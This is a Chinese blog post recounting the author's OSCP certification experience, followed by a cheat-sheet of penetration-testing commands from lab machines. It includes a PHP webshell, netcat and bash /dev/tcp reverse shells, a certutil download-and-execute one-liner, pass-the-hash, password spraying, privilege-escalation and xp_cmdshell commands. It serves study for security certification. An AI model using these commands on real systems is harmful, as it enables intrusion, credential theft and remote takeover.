20年11月中旬,我正式开始了OSCP认证,在这之前也做了一些vulnhub上的靶场,其中的笔记也在博客上发布了,但是跟OSCP相比,那些都还是属于非常简单没有任何难度的。
提交材料审核付款过后,官方给的教材PDF是非常有用的,个人觉得可以作为高校的教科书来使用,其中涉及的技术基本涵盖了一个渗透工程师所需要的所有技能,包括主被动信息收集、web漏洞、win/linux缓冲区溢出、客户端攻击(包含社工)、文件传输及bypass、av bypass、提权、端口转发及隧道、内网域、密码、powershell等各种知识,虽然大家在做渗透的过程中都会用到,但是你绝对想象不到官方的教材有多么的细致及全面。我有时候看PDF都会觉得:卧槽,还有这种东西? 不得不说这钱是花的非常值得的,光是PDF就受益良多。另外官方的实验靶场也是非常有意思,官方为实验室新手准备的攻击路径手册,其大致就是告诉新人该从哪些机器开始做,官方论坛中会有公开的这个手册前两题的解题过程,跟着帖子走,你会发现满满7页的解题过程居然要注意那么多细节,尽管它还是属于easy难度的题目。官方会从IP着手,教你如何找到内网中的DNS服务器,并且找到目标的机器名(每台机器都会有一个特别的名字,并且这个名字可能是某种提示),以及如何更好的扫描端口等各种信息收集。针对端口,官方会指引你怎么找到这个端口更具体的版本信息,以及是否存在合适的漏洞。看完第一题的解题思路就花了我2天的时间,其中不乏要反复理解官方用意和渗透的思路。这是官方想要教会你的东西。毕竟每一台机器都是不一样的,每一台机器的解决方法都是不一样的。同一套方法不能一直使用下去,那如何在渗透过程中获取思路是至关重要的。
常规的机器,你可能花费1天时间就能做完,简单的web题一天也许能做3台。但是实验室中还有很多需要找到“朋友”才能做的机器,这些无非是目标和其他的机器有关联,你可能需要其他机器的账号密码凭证或者需要通过其他机器社工发送恶意文档又或者“朋友”上运行了和目标同样的服务,该服务需要通过溢出才能拿到shell等等。这些都十分的有意思并且做起来也十分的痛苦。但注意细节就是官方一直在教授你的东西,正如真实环境中的渗透一样,任何一个小小的细节也许就是你成功的机会。并且克服困难所带来的成就感会让你信心倍增。
我买了3个月的实验室靶场时间,在做了50多题之后预约了考试,当时实验室还有大半个月的时间,我是想着如果第一次没考过,那还有剩余的时间做练习,不用再重新花钱买。本着试一试的心态,加上疯狂的复习和看PDF,一次就过了,运气真好。哈哈哈。不过还是告诫一下,靶场至少做30台,这样才会有50%的几率通过考试。
下面是一些做的过程中留下来的笔记,由于官方不允许将实验室靶场的解题过程公开,所以这里就放一下小tips。都是在做题目时留下来的一些需要注意的小东西,都是能在网上找到并且具有详细说明的东西。
有进一步想要交流的小伙伴,可以mail我。
JisCTF:
查找允许xxxc用户访问的所有文件的列表
find / -user xxxc -type f 2>&1 | grep -v “Permission” | grep -v “No such”
一句话简单shell语句:xxxc.php?cmd=whoami
<?php if(isset($_REQUEST[‘cmd’])){ echo “
<pre>”; $cmd = ($_REQUEST[‘cmd’]); system($cmd); echo “</pre>”; die; }?>
Five86-2:
wordpress扫描
wpscan --url 192.168.1.3 -e u //爆破用户名
wpscan --url http://192.168.1.3 -U users.txt -P /usr/share/wordlists/rockyou.txt //爆破密码
获得交互式shell
python -c 'import pty; pty.spawn("/bin/bash")' //获得交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")' //获得交互式shell
tcpdump抓网卡流量
timeout 150 tcpdump -w xxx.pcap -i vexxxxxxxcd
HAwordy:
wpscan找插件,然后searchexploit找漏洞,打就完事了
提权用的是john解密passwd文件的hash
lazysysadmin:
smbmap是映射权限和文件夹的最佳工具之一
smbmap -H xx.xx.xx.xx //(445端口)
smbclient是smb连接工具
smbclient //xx.xx.xx.xx/share
GitRoot:
gobuster vhost –u gitroot.vuln -w /usr/share/dirb/wordlists/common.txt(/usr/share/dirb/wordlists/big.txt)| grep 200 //爆破虚拟主机名
find / -name .git 2>/dev/null //根目录下查找.git文件(或目录)
powergrid:
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt -f xx.xx.xx.xx http-get /zmail_path //爆破类basic认证页面方法
官方实验靶场总结:
nmap快速扫描
nmap 10.x.x.x --top-ports 10 --open //top10
nikto扫漏洞
nikto -host 10.x.x.x
有配置文件看配置文件,里面可能存在密码
循环递归扫目录
python3 dirsearch.py -E -r -u http://xxx.xx.xx.x/
查看banner
nc -nv ip port (可以加个-C参数,CRLF)
循环查看pop3用户邮件
for user in marcus john mailadmin jenny ryuu joe45; do
( echo USER ${user}; sleep 2s; echo PASS abcd; sleep 2s; echo LIST; sleep 2s; echo quit) | nc -nvC 10.x.x.x 110; done
pop3(110端口)命令
USER ryuu //用户名
PASS abcd //密码
LIST //列出邮件
RETR 1 //读取邮件顺序
查看当前环境
echo $SHELL
linux受限shell环境bypass
https://www.exploit-db.com/papers/44592/
searchsploit操作
searchsploit -u //更新
searchsploit -x num //显示对应文本
searchsploit -w num //显示对应链接
searchsploit -p num //完整显示(文本位置、URL、名称)非常好用的功能!
searchsploit -m num //顺便把文件复制出来!
cat操作
cat -n xxx.py //标准输出内容
nmap扫描漏洞(-A很重要,也许能看到东西)
nmap -A -sV -Pn --open -T4 --script vuln -p- 10.x.x.x --dns-server 10.x.x.x //扫描IP漏洞(加了个dns-server)
nmap --script smb-vuln* -p 135,139,445,1025 10.x.x.x //扫描17010漏洞,主要看445
windows在c盘查找文件
dir /a /s /b c:\"proof.txt" //查找proof.txt文件(/a表示查看隐藏文件)
type proof.txt //显示文件内容
type "C:\.....proof.txt"
linux查找文件
find / -name proof.txt 2>/dev/null
找端口服务很重要!要仔细!
循环查找RDNS域名
for ip in $(seq 0 255); do host 10.x.x.$ip 10.x.x.x; done | grep -i "name" //通过10.x.x.x DNS服务器反向查找C端内IP对应域名
ftp未授权扫描!!!
windows nc反弹shell
本地:nc -nvlp 65530
远程 nc xx.xx.xx.xx 65530 -e c:\windows\system32\cmd.exe //windows
远程 nc xx.xx.xx.xx 65530 -e /bin/bash //linux
吐司webshell烂土豆Juicypotato提权
JuicyPotato.exe -p "net user admin admin /add" //net localgroup administrators admin /add //建用户
msf扫描smb版本模块
use auxiliary/scanner/smb/smb_version
查找samba/smb版本命令
nmap -sC -sV -p139,445 10.x.x.x
找到对应版本的漏洞,msf直接打就完了
学习手工注入oralce
google很重要!
msf自动注入进程
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_nonx_tcp //这里需要改成对应的
set ExitOnSession false
set AutoRunScript post/windows/manage/migrate
exploit -j
查看samba/smb共享
smbclient -L 10.x.x.x //查看共享目录(不一定需要445,139也可以)
smbclient //10.x.x.x/home //查看文件
看到home目录就要记得有可能是用户名!!!
查看文件前和后几行
head -n 10 xxx.txt //查看re.txt前10行
tail -n 10 xxx.txt //查看re.txt后10行
tail -f xxx.txt //持续显示文件内容
将内容追加至文件结尾
echo "whoami > /root/who.txt" >> cleanup.sh
suid提权
find / -perm -u=s -type f 2>/dev/null
从页面提取字典
cewl http://xx.xx.xx.xx/index.php -w dict.txt //从页面提取文字到字典,-w保存文件
记得查看页面源码!!
"src=/xxxx/" //也许这就是后台目录啊!!!!
用linkfinder也不错
发现的程序名称,缩写全写都要在searchsploit里面找找
获取交互式shell
python -c 'import pty; pty.spawn("/bin/bash")' //获得交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")' //获得交互式shell
bash -i //也许可以
提权文章看这:https://xz.aliyun.com/t/7924#toc-1
nmap的脚本很重要,另外对陌生程序的google也很重要
NC反弹shell,看上面xx机器,一定要加-e参数!!!
用的webshell记得看下版本是不是对应机器可用的,oscp机器很老!!!
google “windows xp sp1 privesc”提的权
看源码!数据库连接凭证!
suid 使用方式“google”
bypass disable func
生成linux用户秘钥
openssl passwd -1 -salt data 123
echo写入覆盖是> 追加是 >>
lse提权脚本真不错!
windows上传文件
cmd.exe /c "certutil.exe -urlcache -split -f http://1.1.1.1/test.exe &test.exe &del test.exe"
pth使用(当拥有一个用户的凭证后)
//创建ps1脚本
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
[System.Diagnostics.Process]::Start("C:\users\public\nc.exe","<attacker_ip> 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)
//cmd终端下执行即可
powershell -ExecutionPolicy Bypass -File c:\users\public\r.ps1
windows提权文章:https://guif.re/windowseop
psexec:
kali@kali:~$ pth-winexe -U offsec%aad3b43xxxx:2892d26cdf84d7a70xxxx //10.x.x.x cmd
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Windows\system32
linux查找全局可写文件、目录
find / -writable -type d 2>/dev/null
vim 使用:
:set number //显示行号
/关键字 //向下查找
?关键字 //向上查找
输入关键字后按回车,按n跳到下一个,shift+n上一个
windows找端口运行的程序
netstat -ano | findstr 2233 //找端口对应的PID
tasklist | findstr PID //找PID对应的程序名
dir /s xxx.exe //找文件位置
中文windows反弹shell后乱码问题:
chcp 65001 //在反弹的shell中输入
docker逃逸:https://gtfobins.github.io/gtfobins/docker/
rbash逃逸:https://xz.aliyun.com/t/7642#toc-3
OSCP笔记:https://fareedfauzi.gitbook.io/oscp-notes/
sqsh使用
sqsh -U 用户名 -P 密码 -S 服务器地址 //sqsh连接mssql
windows短文件名表示法:
dir /x //可以看到短文件名
mssql的hash文件位置及解密:https://blog.xpnsec.com/extracting-master-mdf-hashes/
C:\Program Files\Microsoft SQL Server\MSSQL14.SQLEXPRESS\MSSQL\DATA\master.mdf //该文件可以解密
C:\Program Files\Microsoft SQL Server\MSSQL14.SQLEXPRESS\MSSQL\Backup\master.mdf //备份后位置
开启mssql的xp_cmdshell
开启开启xp_cmdshell
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;
查看smb版本,实用!
1st :ngrep -i -d tap0 's.?a.?m.?b.?a.*[[:digit:]]' port 139
2nd :echo exit | smbclient -L [IP]
linux反弹shell
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
查看网卡信息:
cat /etc/sysconfig/network-scripts/ifcfg-eth0
改进版nmap扫描命令:
nmap -F -T4 -Pn --top-ports 1000 xx.xx.xx.xx //快速扫描
nmap -A -Pn -vv -open -T4 --script vuln -p- x.x.x.x --dns-server 10.x.x.x //全扫描
nmap -sU -O -p- 10.x.x.x //UDP扫描
linux提权searchsploit
searchsploit linux kernel 4.4.0-116 //搜索提权
john解密
john hash --wordlist=/usr/share/wordlist/rockyou.txt
开启apache http服务
/etc/init.d/apache2 start //路径在常规/var/www/html
pl的提权建议脚本真好用!https://github.com/jondonas/linux-exploit-suggester-2
升级交互式tty文章:https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
msf自带提权建议
use multi/recon/local_exploit_suggester //提权建议
密码喷射:https://github.com/dafthack/DomainPasswordSpray
powershell.exe -exec bypass
Import-Module DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Spring2017password
psexec.py使用方法1
psexec.py -hashes xxxxx:xxxxx domain.com/username@10.x.x.x cmd //最后cmd为开启cmdshell。也可换成whoami等命令 //也可不用hash用密码 //注意斜杠不是反斜杠
pth-winexe使用方法1
pth-winexe -U domain.com/username%password or hash //10.x.x.x ipconfig
rdesktop共享文件
rdesktop 10.x.x.x -r disk:aaa=/home/username/
john爆破kirbi密码(krb5tgs类型)
john --format=krb5tgs hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
老版本的mimikatz抓hash(但凡新版本出现error:key import就用老版本试试)
多关注web中的JS、中间件的信息、ID靠后的的linux用户!
善用google
当ssh出现
Unable to negotiate with 10.11.1.141 port 21: n0 matching key exchange method found,Their offer: dffie-hellman-group-exchange-sha1, iffie-hellman-group14-sha1,diffie-hellman-group1-sha1
错误的时候,可以在~/.ssh/config里添加:
Host 10.11.1.136
KexAlgorithms +diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
具有suid位的二进制程序,可以看看其中ascll码说明了什么东西
strings xxx
如果其中有命令的话可以替换对应命令
nmap枚举漏洞
nmap --script=(对应的服务)* -p(对应的端口) xx.x.x.x
dirtycow脏牛提权时,最好有普通用户权限,不然有cc1莫名错误
好用的dirtycow脏牛链接
https://github.com/FireFart/dirtycow/blob/master/dirty.c
两种脏牛exp
传输文件得用443端口
Mysql UDF提权:https://github.com/1N3/PrivEsc/blob/master/mysql/raptor_udf2.c
wget 可以不带http头
windows经典提权(不安全的文件权限)
hashcat解密方法
hashcat -a 0 /usr/share/wordlists/rockyou.txt -m 1600 1 --show